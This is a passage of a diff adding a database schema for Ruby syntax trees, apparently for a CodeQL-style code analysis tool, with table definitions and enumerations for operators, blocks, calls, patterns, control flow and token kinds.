+| 12 = @ruby_binary_langleequal
+| 13 = @ruby_binary_langleequalrangle
+| 14 = @ruby_binary_equalequal
+| 15 = @ruby_binary_equalequalequal
+| 16 = @ruby_binary_equaltilde
+| 17 = @ruby_binary_rangle
+| 18 = @ruby_binary_rangleequal
+| 19 = @ruby_binary_ranglerangle
+| 20 = @ruby_binary_caret
+| 21 = @ruby_binary_and
+| 22 = @ruby_binary_or
+| 23 = @ruby_binary_pipe
+| 24 = @ruby_binary_pipepipe
+;
+
+
+ruby_binary_def(
+  unique int id: @ruby_binary,
+  int left: @ruby_underscore_expression ref,
+  int operator: int ref,
+  int right: @ruby_underscore_expression ref
+);
+
+ruby_block_parameters(
+  unique int ruby_block: @ruby_block ref,
+  unique int parameters: @ruby_block_parameters ref
+);
+
+@ruby_block_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_block, index]
+ruby_block_child(
+  int ruby_block: @ruby_block ref,
+  int index: int ref,
+  unique int child: @ruby_block_child_type ref
+);
+
+ruby_block_def(
+  unique int id: @ruby_block
+);
+
+ruby_block_argument_child(
+  unique int ruby_block_argument: @ruby_block_argument ref,
+  unique int child: @ruby_underscore_arg ref
+);
+
+ruby_block_argument_def(
+  unique int id: @ruby_block_argument
+);
+
+ruby_block_parameter_name(
+  unique int ruby_block_parameter: @ruby_block_parameter ref,
+  unique int name: @ruby_token_identifier ref
+);
+
+ruby_block_parameter_def(
+  unique int id: @ruby_block_parameter
+);
+
+@ruby_block_parameters_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_block_parameters, index]
+ruby_block_parameters_child(
+  int ruby_block_parameters: @ruby_block_parameters ref,
+  int index: int ref,
+  unique int child: @ruby_block_parameters_child_type ref
+);
+
+ruby_block_parameters_def(
+  unique int id: @ruby_block_parameters
+);
+
+ruby_break_child(
+  unique int ruby_break: @ruby_break ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_break_def(
+  unique int id: @ruby_break
+);
+
+ruby_call_arguments(
+  unique int ruby_call: @ruby_call ref,
+  unique int arguments: @ruby_argument_list ref
+);
+
+@ruby_call_block_type = @ruby_block | @ruby_do_block
+
+ruby_call_block(
+  unique int ruby_call: @ruby_call ref,
+  unique int block: @ruby_call_block_type ref
+);
+
+@ruby_call_method_type = @ruby_argument_list | @ruby_scope_resolution | @ruby_token_operator | @ruby_underscore_variable
+
+@ruby_call_receiver_type = @ruby_call | @ruby_underscore_primary
+
+ruby_call_receiver(
+  unique int ruby_call: @ruby_call ref,
+  unique int receiver: @ruby_call_receiver_type ref
+);
+
+ruby_call_def(
+  unique int id: @ruby_call,
+  int method: @ruby_call_method_type ref
+);
+
+ruby_case_value(
+  unique int ruby_case__: @ruby_case__ ref,
+  unique int value: @ruby_underscore_statement ref
+);
+
+@ruby_case_child_type = @ruby_else | @ruby_when
+
+#keyset[ruby_case__, index]
+ruby_case_child(
+  int ruby_case__: @ruby_case__ ref,
+  int index: int ref,
+  unique int child: @ruby_case_child_type ref
+);
+
+ruby_case_def(
+  unique int id: @ruby_case__
+);
+
+#keyset[ruby_case_match, index]
+ruby_case_match_clauses(
+  int ruby_case_match: @ruby_case_match ref,
+  int index: int ref,
+  unique int clauses: @ruby_in_clause ref
+);
+
+ruby_case_match_else(
+  unique int ruby_case_match: @ruby_case_match ref,
+  unique int else: @ruby_else ref
+);
+
+ruby_case_match_def(
+  unique int id: @ruby_case_match,
+  int value: @ruby_underscore_statement ref
+);
+
+#keyset[ruby_chained_string, index]
+ruby_chained_string_child(
+  int ruby_chained_string: @ruby_chained_string ref,
+  int index: int ref,
+  unique int child: @ruby_string__ ref
+);
+
+ruby_chained_string_def(
+  unique int id: @ruby_chained_string
+);
+
+@ruby_class_name_type = @ruby_scope_resolution | @ruby_token_constant
+
+ruby_class_superclass(
+  unique int ruby_class: @ruby_class ref,
+  unique int superclass: @ruby_superclass ref
+);
+
+@ruby_class_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_class, index]
+ruby_class_child(
+  int ruby_class: @ruby_class ref,
+  int index: int ref,
+  unique int child: @ruby_class_child_type ref
+);
+
+ruby_class_def(
+  unique int id: @ruby_class,
+  int name: @ruby_class_name_type ref
+);
+
+ruby_conditional_def(
+  unique int id: @ruby_conditional,
+  int alternative: @ruby_underscore_arg ref,
+  int condition: @ruby_underscore_arg ref,
+  int consequence: @ruby_underscore_arg ref
+);
+
+@ruby_delimited_symbol_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_delimited_symbol, index]
+ruby_delimited_symbol_child(
+  int ruby_delimited_symbol: @ruby_delimited_symbol ref,
+  int index: int ref,
+  unique int child: @ruby_delimited_symbol_child_type ref
+);
+
+ruby_delimited_symbol_def(
+  unique int id: @ruby_delimited_symbol
+);
+
+@ruby_destructured_left_assignment_child_type = @ruby_destructured_left_assignment | @ruby_rest_assignment | @ruby_underscore_lhs
+
+#keyset[ruby_destructured_left_assignment, index]
+ruby_destructured_left_assignment_child(
+  int ruby_destructured_left_assignment: @ruby_destructured_left_assignment ref,
+  int index: int ref,
+  unique int child: @ruby_destructured_left_assignment_child_type ref
+);
+
+ruby_destructured_left_assignment_def(
+  unique int id: @ruby_destructured_left_assignment
+);
+
+@ruby_destructured_parameter_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_destructured_parameter, index]
+ruby_destructured_parameter_child(
+  int ruby_destructured_parameter: @ruby_destructured_parameter ref,
+  int index: int ref,
+  unique int child: @ruby_destructured_parameter_child_type ref
+);
+
+ruby_destructured_parameter_def(
+  unique int id: @ruby_destructured_parameter
+);
+
+@ruby_do_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_do, index]
+ruby_do_child(
+  int ruby_do: @ruby_do ref,
+  int index: int ref,
+  unique int child: @ruby_do_child_type ref
+);
+
+ruby_do_def(
+  unique int id: @ruby_do
+);
+
+ruby_do_block_parameters(
+  unique int ruby_do_block: @ruby_do_block ref,
+  unique int parameters: @ruby_block_parameters ref
+);
+
+@ruby_do_block_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_do_block, index]
+ruby_do_block_child(
+  int ruby_do_block: @ruby_do_block ref,
+  int index: int ref,
+  unique int child: @ruby_do_block_child_type ref
+);
+
+ruby_do_block_def(
+  unique int id: @ruby_do_block
+);
+
+@ruby_element_reference_child_type = @ruby_block_argument | @ruby_hash_splat_argument | @ruby_pair | @ruby_splat_argument | @ruby_token_forward_argument | @ruby_underscore_expression
+
+#keyset[ruby_element_reference, index]
+ruby_element_reference_child(
+  int ruby_element_reference: @ruby_element_reference ref,
+  int index: int ref,
+  unique int child: @ruby_element_reference_child_type ref
+);
+
+ruby_element_reference_def(
+  unique int id: @ruby_element_reference,
+  int object: @ruby_underscore_primary ref
+);
+
+@ruby_else_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_else, index]
+ruby_else_child(
+  int ruby_else: @ruby_else ref,
+  int index: int ref,
+  unique int child: @ruby_else_child_type ref
+);
+
+ruby_else_def(
+  unique int id: @ruby_else
+);
+
+@ruby_elsif_alternative_type = @ruby_else | @ruby_elsif
+
+ruby_elsif_alternative(
+  unique int ruby_elsif: @ruby_elsif ref,
+  unique int alternative: @ruby_elsif_alternative_type ref
+);
+
+ruby_elsif_consequence(
+  unique int ruby_elsif: @ruby_elsif ref,
+  unique int consequence: @ruby_then ref
+);
+
+ruby_elsif_def(
+  unique int id: @ruby_elsif,
+  int condition: @ruby_underscore_statement ref
+);
+
+@ruby_end_block_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_end_block, index]
+ruby_end_block_child(
+  int ruby_end_block: @ruby_end_block ref,
+  int index: int ref,
+  unique int child: @ruby_end_block_child_type ref
+);
+
+ruby_end_block_def(
+  unique int id: @ruby_end_block
+);
+
+@ruby_ensure_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_ensure, index]
+ruby_ensure_child(
+  int ruby_ensure: @ruby_ensure ref,
+  int index: int ref,
+  unique int child: @ruby_ensure_child_type ref
+);
+
+ruby_ensure_def(
+  unique int id: @ruby_ensure
+);
+
+ruby_exception_variable_def(
+  unique int id: @ruby_exception_variable,
+  int child: @ruby_underscore_lhs ref
+);
+
+@ruby_exceptions_child_type = @ruby_splat_argument | @ruby_underscore_arg
+
+#keyset[ruby_exceptions, index]
+ruby_exceptions_child(
+  int ruby_exceptions: @ruby_exceptions ref,
+  int index: int ref,
+  unique int child: @ruby_exceptions_child_type ref
+);
+
+ruby_exceptions_def(
+  unique int id: @ruby_exceptions
+);
+
+ruby_expression_reference_pattern_def(
+  unique int id: @ruby_expression_reference_pattern,
+  int value: @ruby_underscore_expression ref
+);
+
+ruby_find_pattern_class(
+  unique int ruby_find_pattern: @ruby_find_pattern ref,
+  unique int class: @ruby_underscore_pattern_constant ref
+);
+
+@ruby_find_pattern_child_type = @ruby_splat_parameter | @ruby_underscore_pattern_expr
+
+#keyset[ruby_find_pattern, index]
+ruby_find_pattern_child(
+  int ruby_find_pattern: @ruby_find_pattern ref,
+  int index: int ref,
+  unique int child: @ruby_find_pattern_child_type ref
+);
+
+ruby_find_pattern_def(
+  unique int id: @ruby_find_pattern
+);
+
+@ruby_for_pattern_type = @ruby_left_assignment_list | @ruby_underscore_lhs
+
+ruby_for_def(
+  unique int id: @ruby_for,
+  int body: @ruby_do ref,
+  int pattern: @ruby_for_pattern_type ref,
+  int value: @ruby_in ref
+);
+
+@ruby_hash_child_type = @ruby_hash_splat_argument | @ruby_pair
+
+#keyset[ruby_hash, index]
+ruby_hash_child(
+  int ruby_hash: @ruby_hash ref,
+  int index: int ref,
+  unique int child: @ruby_hash_child_type ref
+);
+
+ruby_hash_def(
+  unique int id: @ruby_hash
+);
+
+ruby_hash_pattern_class(
+  unique int ruby_hash_pattern: @ruby_hash_pattern ref,
+  unique int class: @ruby_underscore_pattern_constant ref
+);
+
+@ruby_hash_pattern_child_type = @ruby_hash_splat_parameter | @ruby_keyword_pattern | @ruby_token_hash_splat_nil
+
+#keyset[ruby_hash_pattern, index]
+ruby_hash_pattern_child(
+  int ruby_hash_pattern: @ruby_hash_pattern ref,
+  int index: int ref,
+  unique int child: @ruby_hash_pattern_child_type ref
+);
+
+ruby_hash_pattern_def(
+  unique int id: @ruby_hash_pattern
+);
+
+ruby_hash_splat_argument_def(
+  unique int id: @ruby_hash_splat_argument,
+  int child: @ruby_underscore_arg ref
+);
+
+ruby_hash_splat_parameter_name(
+  unique int ruby_hash_splat_parameter: @ruby_hash_splat_parameter ref,
+  unique int name: @ruby_token_identifier ref
+);
+
+ruby_hash_splat_parameter_def(
+  unique int id: @ruby_hash_splat_parameter
+);
+
+@ruby_heredoc_body_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_heredoc_content | @ruby_token_heredoc_end
+
+#keyset[ruby_heredoc_body, index]
+ruby_heredoc_body_child(
+  int ruby_heredoc_body: @ruby_heredoc_body ref,
+  int index: int ref,
+  unique int child: @ruby_heredoc_body_child_type ref
+);
+
+ruby_heredoc_body_def(
+  unique int id: @ruby_heredoc_body
+);
+
+@ruby_if_alternative_type = @ruby_else | @ruby_elsif
+
+ruby_if_alternative(
+  unique int ruby_if: @ruby_if ref,
+  unique int alternative: @ruby_if_alternative_type ref
+);
+
+ruby_if_consequence(
+  unique int ruby_if: @ruby_if ref,
+  unique int consequence: @ruby_then ref
+);
+
+ruby_if_def(
+  unique int id: @ruby_if,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_if_guard_def(
+  unique int id: @ruby_if_guard,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_if_modifier_def(
+  unique int id: @ruby_if_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_in_def(
+  unique int id: @ruby_in,
+  int child: @ruby_underscore_arg ref
+);
+
+ruby_in_clause_body(
+  unique int ruby_in_clause: @ruby_in_clause ref,
+  unique int body: @ruby_then ref
+);
+
+@ruby_in_clause_guard_type = @ruby_if_guard | @ruby_unless_guard
+
+ruby_in_clause_guard(
+  unique int ruby_in_clause: @ruby_in_clause ref,
+  unique int guard: @ruby_in_clause_guard_type ref
+);
+
+ruby_in_clause_def(
+  unique int id: @ruby_in_clause,
+  int pattern: @ruby_underscore_pattern_top_expr_body ref
+);
+
+@ruby_interpolation_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_interpolation, index]
+ruby_interpolation_child(
+  int ruby_interpolation: @ruby_interpolation ref,
+  int index: int ref,
+  unique int child: @ruby_interpolation_child_type ref
+);
+
+ruby_interpolation_def(
+  unique int id: @ruby_interpolation
+);
+
+ruby_keyword_parameter_value(
+  unique int ruby_keyword_parameter: @ruby_keyword_parameter ref,
+  unique int value: @ruby_underscore_arg ref
+);
+
+ruby_keyword_parameter_def(
+  unique int id: @ruby_keyword_parameter,
+  int name: @ruby_token_identifier ref
+);
+
+@ruby_keyword_pattern_key_type = @ruby_string__ | @ruby_token_hash_key_symbol
+
+ruby_keyword_pattern_value(
+  unique int ruby_keyword_pattern: @ruby_keyword_pattern ref,
+  unique int value: @ruby_underscore_pattern_expr ref
+);
+
+ruby_keyword_pattern_def(
+  unique int id: @ruby_keyword_pattern,
+  int key__: @ruby_keyword_pattern_key_type ref
+);
+
+@ruby_lambda_body_type = @ruby_block | @ruby_do_block
+
+ruby_lambda_parameters(
+  unique int ruby_lambda: @ruby_lambda ref,
+  unique int parameters: @ruby_lambda_parameters ref
+);
+
+ruby_lambda_def(
+  unique int id: @ruby_lambda,
+  int body: @ruby_lambda_body_type ref
+);
+
+@ruby_lambda_parameters_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_lambda_parameters, index]
+ruby_lambda_parameters_child(
+  int ruby_lambda_parameters: @ruby_lambda_parameters ref,
+  int index: int ref,
+  unique int child: @ruby_lambda_parameters_child_type ref
+);
+
+ruby_lambda_parameters_def(
+  unique int id: @ruby_lambda_parameters
+);
+
+@ruby_left_assignment_list_child_type = @ruby_destructured_left_assignment | @ruby_rest_assignment | @ruby_underscore_lhs
+
+#keyset[ruby_left_assignment_list, index]
+ruby_left_assignment_list_child(
+  int ruby_left_assignment_list: @ruby_left_assignment_list ref,
+  int index: int ref,
+  unique int child: @ruby_left_assignment_list_child_type ref
+);
+
+ruby_left_assignment_list_def(
+  unique int id: @ruby_left_assignment_list
+);
+
+ruby_method_parameters(
+  unique int ruby_method: @ruby_method ref,
+  unique int parameters: @ruby_method_parameters ref
+);
+
+@ruby_method_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_arg | @ruby_underscore_statement
+
+#keyset[ruby_method, index]
+ruby_method_child(
+  int ruby_method: @ruby_method ref,
+  int index: int ref,
+  unique int child: @ruby_method_child_type ref
+);
+
+ruby_method_def(
+  unique int id: @ruby_method,
+  int name: @ruby_underscore_method_name ref
+);
+
+@ruby_method_parameters_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_method_parameters, index]
+ruby_method_parameters_child(
+  int ruby_method_parameters: @ruby_method_parameters ref,
+  int index: int ref,
+  unique int child: @ruby_method_parameters_child_type ref
+);
+
+ruby_method_parameters_def(
+  unique int id: @ruby_method_parameters
+);
+
+@ruby_module_name_type = @ruby_scope_resolution | @ruby_token_constant
+
+@ruby_module_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_module, index]
+ruby_module_child(
+  int ruby_module: @ruby_module ref,
+  int index: int ref,
+  unique int child: @ruby_module_child_type ref
+);
+
+ruby_module_def(
+  unique int id: @ruby_module,
+  int name: @ruby_module_name_type ref
+);
+
+ruby_next_child(
+  unique int ruby_next: @ruby_next ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_next_def(
+  unique int id: @ruby_next
+);
+
+case @ruby_operator_assignment.operator of
+  0 = @ruby_operator_assignment_percentequal
+| 1 = @ruby_operator_assignment_ampersandampersandequal
+| 2 = @ruby_operator_assignment_ampersandequal
+| 3 = @ruby_operator_assignment_starstarequal
+| 4 = @ruby_operator_assignment_starequal
+| 5 = @ruby_operator_assignment_plusequal
+| 6 = @ruby_operator_assignment_minusequal
+| 7 = @ruby_operator_assignment_slashequal
+| 8 = @ruby_operator_assignment_langlelangleequal
+| 9 = @ruby_operator_assignment_ranglerangleequal
+| 10 = @ruby_operator_assignment_caretequal
+| 11 = @ruby_operator_assignment_pipeequal
+| 12 = @ruby_operator_assignment_pipepipeequal
+;
+
+
+ruby_operator_assignment_def(
+  unique int id: @ruby_operator_assignment,
+  int left: @ruby_underscore_lhs ref,
+  int operator: int ref,
+  int right: @ruby_underscore_expression ref
+);
+
+ruby_optional_parameter_def(
+  unique int id: @ruby_optional_parameter,
+  int name: @ruby_token_identifier ref,
+  int value: @ruby_underscore_arg ref
+);
+
+@ruby_pair_key_type = @ruby_string__ | @ruby_token_hash_key_symbol | @ruby_underscore_arg
+
+ruby_pair_value(
+  unique int ruby_pair: @ruby_pair ref,
+  unique int value: @ruby_underscore_arg ref
+);
+
+ruby_pair_def(
+  unique int id: @ruby_pair,
+  int key__: @ruby_pair_key_type ref
+);
+
+ruby_parenthesized_pattern_def(
+  unique int id: @ruby_parenthesized_pattern,
+  int child: @ruby_underscore_pattern_expr ref
+);
+
+@ruby_parenthesized_statements_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_parenthesized_statements, index]
+ruby_parenthesized_statements_child(
+  int ruby_parenthesized_statements: @ruby_parenthesized_statements ref,
+  int index: int ref,
+  unique int child: @ruby_parenthesized_statements_child_type ref
+);
+
+ruby_parenthesized_statements_def(
+  unique int id: @ruby_parenthesized_statements
+);
+
+@ruby_pattern_child_type = @ruby_splat_argument | @ruby_underscore_arg
+
+ruby_pattern_def(
+  unique int id: @ruby_pattern,
+  int child: @ruby_pattern_child_type ref
+);
+
+@ruby_program_child_type = @ruby_token_empty_statement | @ruby_token_uninterpreted | @ruby_underscore_statement
+
+#keyset[ruby_program, index]
+ruby_program_child(
+  int ruby_program: @ruby_program ref,
+  int index: int ref,
+  unique int child: @ruby_program_child_type ref
+);
+
+ruby_program_def(
+  unique int id: @ruby_program
+);
+
+@ruby_range_begin_type = @ruby_underscore_arg | @ruby_underscore_pattern_primitive
+
+ruby_range_begin(
+  unique int ruby_range: @ruby_range ref,
+  unique int begin: @ruby_range_begin_type ref
+);
+
+@ruby_range_end_type = @ruby_underscore_arg | @ruby_underscore_pattern_primitive
+
+ruby_range_end(
+  unique int ruby_range: @ruby_range ref,
+  unique int end: @ruby_range_end_type ref
+);
+
+case @ruby_range.operator of
+  0 = @ruby_range_dotdot
+| 1 = @ruby_range_dotdotdot
+;
+
+
+ruby_range_def(
+  unique int id: @ruby_range,
+  int operator: int ref
+);
+
+@ruby_rational_child_type = @ruby_token_float | @ruby_token_integer
+
+ruby_rational_def(
+  unique int id: @ruby_rational,
+  int child: @ruby_rational_child_type ref
+);
+
+ruby_redo_child(
+  unique int ruby_redo: @ruby_redo ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_redo_def(
+  unique int id: @ruby_redo
+);
+
+@ruby_regex_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_regex, index]
+ruby_regex_child(
+  int ruby_regex: @ruby_regex ref,
+  int index: int ref,
+  unique int child: @ruby_regex_child_type ref
+);
+
+ruby_regex_def(
+  unique int id: @ruby_regex
+);
+
+ruby_rescue_body(
+  unique int ruby_rescue: @ruby_rescue ref,
+  unique int body: @ruby_then ref
+);
+
+ruby_rescue_exceptions(
+  unique int ruby_rescue: @ruby_rescue ref,
+  unique int exceptions: @ruby_exceptions ref
+);
+
+ruby_rescue_variable(
+  unique int ruby_rescue: @ruby_rescue ref,
+  unique int variable: @ruby_exception_variable ref
+);
+
+ruby_rescue_def(
+  unique int id: @ruby_rescue
+);
+
+@ruby_rescue_modifier_body_type = @ruby_underscore_arg | @ruby_underscore_statement
+
+ruby_rescue_modifier_def(
+  unique int id: @ruby_rescue_modifier,
+  int body: @ruby_rescue_modifier_body_type ref,
+  int handler: @ruby_underscore_expression ref
+);
+
+ruby_rest_assignment_child(
+  unique int ruby_rest_assignment: @ruby_rest_assignment ref,
+  unique int child: @ruby_underscore_lhs ref
+);
+
+ruby_rest_assignment_def(
+  unique int id: @ruby_rest_assignment
+);
+
+ruby_retry_child(
+  unique int ruby_retry: @ruby_retry ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_retry_def(
+  unique int id: @ruby_retry
+);
+
+ruby_return_child(
+  unique int ruby_return: @ruby_return ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_return_def(
+  unique int id: @ruby_return
+);
+
+@ruby_right_assignment_list_child_type = @ruby_splat_argument | @ruby_underscore_arg
+
+#keyset[ruby_right_assignment_list, index]
+ruby_right_assignment_list_child(
+  int ruby_right_assignment_list: @ruby_right_assignment_list ref,
+  int index: int ref,
+  unique int child: @ruby_right_assignment_list_child_type ref
+);
+
+ruby_right_assignment_list_def(
+  unique int id: @ruby_right_assignment_list
+);
+
+@ruby_scope_resolution_name_type = @ruby_token_constant | @ruby_token_identifier
+
+@ruby_scope_resolution_scope_type = @ruby_underscore_pattern_constant | @ruby_underscore_primary
+
+ruby_scope_resolution_scope(
+  unique int ruby_scope_resolution: @ruby_scope_resolution ref,
+  unique int scope: @ruby_scope_resolution_scope_type ref
+);
+
+ruby_scope_resolution_def(
+  unique int id: @ruby_scope_resolution,
+  int name: @ruby_scope_resolution_name_type ref
+);
+
+ruby_setter_def(
+  unique int id: @ruby_setter,
+  int name: @ruby_token_identifier ref
+);
+
+@ruby_singleton_class_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_singleton_class, index]
+ruby_singleton_class_child(
+  int ruby_singleton_class: @ruby_singleton_class ref,
+  int index: int ref,
+  unique int child: @ruby_singleton_class_child_type ref
+);
+
+ruby_singleton_class_def(
+  unique int id: @ruby_singleton_class,
+  int value: @ruby_underscore_arg ref
+);
+
+@ruby_singleton_method_object_type = @ruby_underscore_arg | @ruby_underscore_variable
+
+ruby_singleton_method_parameters(
+  unique int ruby_singleton_method: @ruby_singleton_method ref,
+  unique int parameters: @ruby_method_parameters ref
+);
+
+@ruby_singleton_method_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_arg | @ruby_underscore_statement
+
+#keyset[ruby_singleton_method, index]
+ruby_singleton_method_child(
+  int ruby_singleton_method: @ruby_singleton_method ref,
+  int index: int ref,
+  unique int child: @ruby_singleton_method_child_type ref
+);
+
+ruby_singleton_method_def(
+  unique int id: @ruby_singleton_method,
+  int name: @ruby_underscore_method_name ref,
+  int object: @ruby_singleton_method_object_type ref
+);
+
+ruby_splat_argument_def(
+  unique int id: @ruby_splat_argument,
+  int child: @ruby_underscore_arg ref
+);
+
+ruby_splat_parameter_name(
+  unique int ruby_splat_parameter: @ruby_splat_parameter ref,
+  unique int name: @ruby_token_identifier ref
+);
+
+ruby_splat_parameter_def(
+  unique int id: @ruby_splat_parameter
+);
+
+@ruby_string_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_string__, index]
+ruby_string_child(
+  int ruby_string__: @ruby_string__ ref,
+  int index: int ref,
+  unique int child: @ruby_string_child_type ref
+);
+
+ruby_string_def(
+  unique int id: @ruby_string__
+);
+
+#keyset[ruby_string_array, index]
+ruby_string_array_child(
+  int ruby_string_array: @ruby_string_array ref,
+  int index: int ref,
+  unique int child: @ruby_bare_string ref
+);
+
+ruby_string_array_def(
+  unique int id: @ruby_string_array
+);
+
+@ruby_subshell_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_subshell, index]
+ruby_subshell_child(
+  int ruby_subshell: @ruby_subshell ref,
+  int index: int ref,
+  unique int child: @ruby_subshell_child_type ref
+);
+
+ruby_subshell_def(
+  unique int id: @ruby_subshell
+);
+
+ruby_superclass_def(
+  unique int id: @ruby_superclass,
+  int child: @ruby_underscore_expression ref
+);
+
+#keyset[ruby_symbol_array, index]
+ruby_symbol_array_child(
+  int ruby_symbol_array: @ruby_symbol_array ref,
+  int index: int ref,
+  unique int child: @ruby_bare_symbol ref
+);
+
+ruby_symbol_array_def(
+  unique int id: @ruby_symbol_array
+);
+
+@ruby_then_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_then, index]
+ruby_then_child(
+  int ruby_then: @ruby_then ref,
+  int index: int ref,
+  unique int child: @ruby_then_child_type ref
+);
+
+ruby_then_def(
+  unique int id: @ruby_then
+);
+
+@ruby_unary_operand_type = @ruby_parenthesized_statements | @ruby_underscore_expression | @ruby_underscore_simple_numeric
+
+case @ruby_unary.operator of
+  0 = @ruby_unary_bang
+| 1 = @ruby_unary_plus
+| 2 = @ruby_unary_minus
+| 3 = @ruby_unary_definedquestion
+| 4 = @ruby_unary_not
+| 5 = @ruby_unary_tilde
+;
+
+
+ruby_unary_def(
+  unique int id: @ruby_unary,
+  int operand: @ruby_unary_operand_type ref,
+  int operator: int ref
+);
+
+#keyset[ruby_undef, index]
+ruby_undef_child(
+  int ruby_undef: @ruby_undef ref,
+  int index: int ref,
+  unique int child: @ruby_underscore_method_name ref
+);
+
+ruby_undef_def(
+  unique int id: @ruby_undef
+);
+
+@ruby_unless_alternative_type = @ruby_else | @ruby_elsif
+
+ruby_unless_alternative(
+  unique int ruby_unless: @ruby_unless ref,
+  unique int alternative: @ruby_unless_alternative_type ref
+);
+
+ruby_unless_consequence(
+  unique int ruby_unless: @ruby_unless ref,
+  unique int consequence: @ruby_then ref
+);
+
+ruby_unless_def(
+  unique int id: @ruby_unless,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_unless_guard_def(
+  unique int id: @ruby_unless_guard,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_unless_modifier_def(
+  unique int id: @ruby_unless_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_until_def(
+  unique int id: @ruby_until,
+  int body: @ruby_do ref,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_until_modifier_def(
+  unique int id: @ruby_until_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+@ruby_variable_reference_pattern_name_type = @ruby_token_identifier | @ruby_underscore_nonlocal_variable
+
+ruby_variable_reference_pattern_def(
+  unique int id: @ruby_variable_reference_pattern,
+  int name: @ruby_variable_reference_pattern_name_type ref
+);
+
+ruby_when_body(
+  unique int ruby_when: @ruby_when ref,
+  unique int body: @ruby_then ref
+);
+
+#keyset[ruby_when, index]
+ruby_when_pattern(
+  int ruby_when: @ruby_when ref,
+  int index: int ref,
+  unique int pattern: @ruby_pattern ref
+);
+
+ruby_when_def(
+  unique int id: @ruby_when
+);
+
+ruby_while_def(
+  unique int id: @ruby_while,
+  int body: @ruby_do ref,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_while_modifier_def(
+  unique int id: @ruby_while_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_yield_child(
+  unique int ruby_yield: @ruby_yield ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_yield_def(
+  unique int id: @ruby_yield
+);
+
+ruby_tokeninfo(
+  unique int id: @ruby_token,
+  int kind: int ref,
+  string value: string ref
+);
+
+case @ruby_token.kind of
+  0 = @ruby_reserved_word
+| 1 = @ruby_token_character
+| 2 = @ruby_token_class_variable
+| 3 = @ruby_token_comment
+| 4 = @ruby_token_complex
+| 5 = @ruby_token_constant
+| 6 = @ruby_token_empty_statement
+| 7 = @ruby_token_encoding
+| 8 = @ruby_token_escape_sequence
+| 9 = @ruby_token_false
+| 10 = @ruby_token_file
+| 11 = @ruby_token_float
+| 12 = @ruby_token_forward_argument
+| 13 = @ruby_token_forward_parameter
+| 14 = @ruby_token_global_variable
+| 15 = @ruby_token_hash_key_symbol
+| 16 = @ruby_token_hash_splat_nil
+| 17 = @ruby_token_heredoc_beginning
+| 18 = @ruby_token_heredoc_content
+| 19 = @ruby_token_heredoc_end
+| 20 = @ruby_token_identifier
+| 21 = @ruby_token_instance_variable
+| 22 = @ruby_token_integer
+| 23 = @ruby_token_line
+| 24 = @ruby_token_nil
+| 25 = @ruby_token_operator
+| 26 = @ruby_token_self
+| 27 = @ruby_token_simple_symbol
+| 28 = @ruby_token_string_content
+| 29 = @ruby_token_super
